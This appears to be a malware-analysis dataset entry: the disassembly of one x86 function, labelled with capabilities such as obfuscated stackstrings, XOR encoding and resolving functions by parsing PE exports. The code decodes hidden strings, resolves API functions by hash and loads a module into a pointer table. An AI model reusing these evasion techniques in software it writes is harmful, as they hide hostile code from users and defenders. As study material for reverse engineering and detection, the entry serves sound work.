Function at 0x4193b7
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a4
push ebx
push esi
xor ebx, ebx
mov word [esp + 0xc], 0xe2dc
push edi
mov byte [esp + 0x12], 0xd6
mov ecx, ebx
mov al, byte [esp + ecx + 0x10]
sub al, 0x6f
mov byte [esp + ecx + 0x10c], al
inc ecx
cmp ecx, 3
jl 0x4193d6
mov byte [esp + 0x10f], bl
mov ecx, ebx
mov dword [esp + 0x28], 0xfe010608
mov word [esp + 0x2c], 0xfa09
mov byte [esp + 0x2e], 0xc8
mov al, byte [esp + ecx + 0x28]
add al, 0x6b
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, 7
jl 0x419406
mov byte [esp + 0x11f], bl
cmp dword [0x424db8], ebx
je 0x41942f
mov al, 1
jmp 0x419bee
lea edx, [esp + 0x118]
mov byte [esp + 0x27], bl
lea ecx, [esp + 0x10c]
call fcn.0041842f
mov edi, eax
test edi, edi
je 0x419aac
lea eax, [esp + 0x28]
push eax
push edi
call fcn.00405b40
pop ecx
mov edx, eax
mov ecx, edi
call fcn.0040f780
mov dword [esp + 0x114], eax
mov dword [esp + 0x118], 0x2f
pop ecx
test eax, eax
je 0x41955b
push 0x400
call fcn.0040570b
mov esi, eax
pop ecx
test esi, esi
je 0x41954e
xor ecx, ecx
mov edx, 0xd016cbb7
push esi
push 0x200
inc ecx
call fcn.00412ca7
call eax
test eax, eax
je 0x41954e
mov dword [esp + 0x10], 0xcbcbc389
mov ecx, ebx
mov al, byte [esp + ecx + 0x10]
xor al, 0xa7
movzx eax, al
mov word [esp + ecx*2 + 0x14], ax
inc ecx
cmp ecx, 4
jl 0x4194bc
xor eax, eax
push esi
mov word [esp + 0x20], ax
call fcn.0040581e
pop ecx
mov ecx, eax
push 0x5c
pop eax
movzx edx, word [esi + ecx*2 - 2]
cmp dx, ax
je 0x419502
cmp dx, word [esp + 0x114]
je 0x419502
mov word [esi + ecx*2], ax
xor eax, eax
mov word [esi + ecx*2 + 2], ax
push 0x10
pop edx
lea ecx, [esp + 0xec]
call fcn.0041b3f5
lea eax, [esp + 0xec]
push eax
push esi
call fcn.00405bcb
lea eax, [esp + 0x1c]
push eax
push esi
call fcn.00405bcb
push dword [esp + 0x38]
mov edx, dword [esp + 0x124]
mov ecx, esi
call fcn.0041b4ed
add esp, 0x14
test al, al
je 0x41954e
mov byte [esp + 0x27], 1
mov dword [0x424db4], esi
push dword [esp + 0x110]
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
pop ecx
cmp byte [esp + 0x27], bl
je 0x419bd6
push dword [0x424db4]
xor ecx, ecx
mov edx, 0xf6e264ab
inc ecx
call fcn.00412ca7
call eax
mov dword [0x424db8], eax
test eax, eax
je 0x419aa5
mov dword [esp + 0x14], 0x7a7d8284
mov ecx, ebx
mov dword [esp + 0x18], 0x70447685
mov dword [esp + 0x1c], 0x7f768180
mov al, byte [esp + ecx + 0x14]
sub al, 0x11
mov byte [esp + ecx + 0x138], al
inc ecx
cmp ecx, 0xc
jl 0x4195a8
mov byte [esp + 0x144], bl
mov ecx, ebx
mov dword [esp + 0x30], 0x585d4042
mov dword [esp + 0x34], 0x6e025445
mov dword [esp + 0x38], 0x5f54415e
mov word [esp + 0x3c], 0x476e
mov byte [esp + 0x3e], 3
mov al, byte [esp + ecx + 0x30]
xor al, 0x31
mov byte [esp + ecx + 0x148], al
inc ecx
cmp ecx, 0xf
jl 0x4195e8
mov byte [esp + 0x157], bl
mov ecx, ebx
mov dword [esp + 0x60], 0xfefbe6e4
mov dword [esp + 0x64], 0xc8a4f2e3
mov dword [esp + 0x68], 0xe7f2e5e7
mov dword [esp + 0x6c], 0xc8f2e5f6
mov word [esp + 0x70], 0xa5e1
mov al, byte [esp + ecx + 0x60]
xor al, 0x97
mov byte [esp + ecx + 0x16c], al
inc ecx
cmp ecx, 0x12
jl 0x41962b
mov byte [esp + 0x17e], bl
mov ecx, ebx
mov dword [esp + 0x14], 0xe9ecf1f3
mov dword [esp + 0x18], 0xdfb3e5f4
mov dword [esp + 0x1c], 0xf0e5f4f3
mov al, byte [esp + ecx + 0x14]
add al, 0x80
mov byte [esp + ecx + 0x60], al
inc ecx
cmp ecx, 0xc
jl 0x41965f
push 0x2f
pop eax
mov byte [esp + 0x6c], bl
mov ecx, ebx
mov dword [esp + 0x94], 0x33363b3d
mov byte [esp + 0x98], 0x3e
mov byte [esp + 0x99], al
mov dword [esp + 0x9a], 0x392d29fd
mov dword [esp + 0x9e], 0x38373f36
mov word [esp + 0xa2], 0x3e29
mov byte [esp + 0xa4], al
mov word [esp + 0xa5], 0x3e42
mov al, byte [esp + ecx + 0x94]
add al, 0x36
mov byte [esp + ecx + 0x74], al
inc ecx
cmp ecx, 0x13
jl 0x4196c3
mov byte [esp + 0x87], bl
mov ecx, ebx
mov dword [esp + 0xd4], 0x484b5052
mov dword [esp + 0xd8], 0x3e124453
mov dword [esp + 0xdc], 0x544b4e42
mov dword [esp + 0xe0], 0x413e4d4c
mov word [esp + 0xe4], 0x4e4b
mov byte [esp + 0xe6], 0x41
mov al, byte [esp + ecx + 0xd4]
add al, 0x21
mov byte [esp + ecx + 0x120], al
inc ecx
cmp ecx, 0x13
jl 0x41971d
mov dword [esp + 0x30], 0x6a6d7274
mov ecx, ebx
mov dword [esp + 0x34], 0x60346675
mov dword [esp + 0x38], 0x626f6a67
mov dword [esp + 0x3c], 0x667b6a6d
movups xmm0, xmmword [esp + 0x30]
mov byte [esp + 0x133], bl
mov byte [esp + 0x168], bl
psubb xmm0, xmmword [0x420f60]
movups xmmword [esp + 0x158], xmm0
mov dword [esp + 0x14], 0x63667b79
mov dword [esp + 0x18], 0x55396f7e
mov dword [esp + 0x1c], 0x79656669
mov byte [esp + 0x20], 0x6f
mov al, byte [esp + ecx + 0x14]
xor al, 0xa
mov byte [esp + ecx + 0x30], al
inc ecx
cmp ecx, 0xd
jl 0x419795
mov byte [esp + 0x3d], bl
mov ecx, ebx
mov dword [esp + 0x40], 0x5a5f4240
mov dword [esp + 0x44], 0x6c005647
mov dword [esp + 0x48], 0x465f5c50
mov dword [esp + 0x4c], 0x516c5d5e
mov dword [esp + 0x50], 0x4056474a
mov al, byte [esp + ecx + 0x40]
xor al, 0x33
mov byte [esp + ecx + 0xec], al
inc ecx
cmp ecx, 0x14
jl 0x4197d3
push 0x24
push ebx
mov edi, 0x424300
mov byte [esp + 0x108], bl
push edi
call fcn.00403960
add esp, 0xc
lea eax, [esp + 0x138]
xor ecx, ecx
mov esi, 0x779af737
mov edx, esi
inc ecx
push eax
push dword [0x424db8]
call fcn.00412ca7
call eax
mov dword [0x424300], eax
xor ecx, ecx
lea eax, [esp + 0x148]
mov edx, esi
push eax
push dword [0x424db8]
inc ecx
call fcn.00412ca7
call eax
mov dword [0x424304], eax
xor ecx, ecx
lea eax, [esp + 0x16c]
mov edx, esi
push eax
push dword [0x424db8]
inc ecx
call fcn.00412ca7
call eax
mov dword [0x424308], eax
xor ecx, ecx
lea eax, [esp + 0x60]
mov edx, esi
push eax
push dword [0x424db8]
inc ecx
call fcn.00412ca7
call eax
mov dword [0x42430c], eax
xor ecx, ecx
lea eax, [esp + 0x74]
mov edx, esi
push eax
push dword [0x424db8]
inc ecx
call fcn.00412ca7
call eax
mov dword [0x424310], eax
xor ecx, ecx
lea eax, [esp + 0x120]
mov edx, esi
push eax
push dword [0x424db8]
inc ecx
call fcn.00412ca7
call eax
mov dword [0x424314], eax
xor ecx, ecx
lea eax, [esp + 0x158]
mov edx, esi
push eax
push dword [0x424db8]
inc ecx
call fcn.00412ca7
call eax
mov dword [0x424318], eax
xor ecx, ecx
lea eax, [esp + 0x30]
mov edx, esi
push eax
push dword [0x424db8]
inc ecx
call fcn.00412ca7
call eax
mov dword [0x42431c], eax
lea eax, [esp + 0xec]
push eax
push dword [0x424db8]
xor ecx, ecx
mov edx, esi
inc ecx
call fcn.00412ca7
call eax
mov dword [0x424320], eax
cmp dword [0x424300], ebx
je 0x41995c
cmp dword [0x424308], ebx
je 0x41995c
cmp dword [0x42430c], ebx
je 0x41995c
cmp dword [0x424310], ebx
je 0x41995c
cmp dword [0x424318], ebx
je 0x41995c
cmp dword [0x42431c], ebx
je 0x41995c
cmp dword [0x424304], ebx
je 0x41995c
test eax, eax
je 0x41995c
cmp dword [0x424314], ebx
je 0x41995c
mov bl, 1
jmp 0x419aa5
mov dword [esp + 0x40], 0x16ffd1d1
mov ecx, ebx
mov dword [esp + 0x44], 0xf040817
mov dword [esp + 0x48], 0x16ff1508
mov dword [esp + 0x4c], 0x170c0f14
mov dword [esp + 0x50], 0x6d1d608
mov word [esp + 0x54], 0x1313
mov al, byte [esp + ecx + 0x40]
add al, 0x5d
mov byte [esp + ecx + 0xd4], al
inc ecx
cmp ecx, 0x16
jl 0x41998d
mov byte [esp + 0xea], bl
mov ecx, ebx
mov dword [esp + 0x10], 0x31262b06
mov al, byte [esp + ecx + 0x10]
add al, 0x43
mov byte [esp + ecx + 0x28], al
inc ecx
cmp ecx, 4
jl 0x4199b1
mov byte [esp + 0x2c], bl
mov ecx, ebx
mov dword [esp + 0xa8], 0x3e3b3314
mov dword [esp + 0xac], 0x26723637
mov dword [esp + 0xb0], 0x2a37723d
mov dword [esp + 0xb4], 0x26203d22
mov dword [esp + 0xb8], 0x3c273472
mov dword [esp + 0xbc], 0x3d3b2631
mov dword [esp + 0xc0], 0x3472213c
mov dword [esp + 0xc4], 0x723f3d20
mov dword [esp + 0xc8], 0x3b3e2321
mov dword [esp + 0xcc], 0x7c613726
mov dword [esp + 0xd0], 0x583e3e36
mov al, byte [esp + ecx + 0xa8]
xor al, 0x52
mov byte [esp + ecx + 0x180], al
inc ecx
cmp ecx, 0x2c
jl 0x419a40
lea eax, [esp + 0x180]
mov byte [esp + 0x1ac], bl
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0xdc]
push 0x59
push eax
call fcn.00412711
push 0x24
push ebx
push edi
call fcn.00403960
mov ecx, dword [0x424db8]
add esp, 0x1c
test ecx, ecx
je 0x419aa5
push ecx
xor ecx, ecx
mov edx, 0xaf12bdb1
inc ecx
call fcn.00412ca7
call eax
mov dword [0x424db8], ebx
mov al, bl
jmp 0x419bee
push 0x5c
pop eax
mov dword [esp + 0xec], 0x6a532525
mov ecx, ebx
mov byte [esp + 0xf0], 0x6b
mov byte [esp + 0xf1], al
mov word [esp + 0xf2], 0x6358
mov byte [esp + 0xf4], al
mov dword [esp + 0xf5], 0x686a5369
mov word [esp + 0xf9], 0x6063
mov byte [esp + 0xfb], 0x6b
mov byte [esp + 0xfc], al
mov dword [esp + 0xfd], 0x675a252a
mov byte [esp + 0x101], 0x67
mov al, byte [esp + ecx + 0xec]
add al, 9
mov byte [esp + ecx + 0x120], al
inc ecx
cmp ecx, 0x16
jl 0x419b13
mov byte [esp + 0x136], bl
mov ecx, ebx
mov dword [esp + 0x10], 0xa79ca17c
mov al, byte [esp + ecx + 0x10]
sub al, 0x33
mov byte [esp + ecx + 0x28], al
inc ecx
cmp ecx, 4
jl 0x419b3a
mov byte [esp + 0x2c], bl
mov ecx, ebx
mov dword [esp + 0x74], 0xcfcac2e5
mov dword [esp + 0x78], 0xd783c7c6
mov dword [esp + 0x7c], 0xccc783cc
mov dword [esp + 0x80], 0xcccfcdd4
mov dword [esp + 0x84], 0xd083c7c2
mov dword [esp + 0x88], 0xd7cacfd2
mov dword [esp + 0x8c], 0xc78d90c6
mov word [esp + 0x90], 0xcfcf
mov byte [esp + 0x92], 0xa9
mov al, byte [esp + ecx + 0x74]
xor al, 0xa3
mov byte [esp + ecx + 0x40], al
inc ecx
cmp ecx, 0x1f
jl 0x419ba6
lea eax, [esp + 0x40]
mov byte [esp + 0x5f], bl
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x128]
push 0x37
push eax
call fcn.00412711
add esp, 0x10
mov eax, dword [0x424db4]
test eax, eax
je 0x419bec
push eax
call fcn.004056f0
pop ecx
mov dword [0x424db4], ebx
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret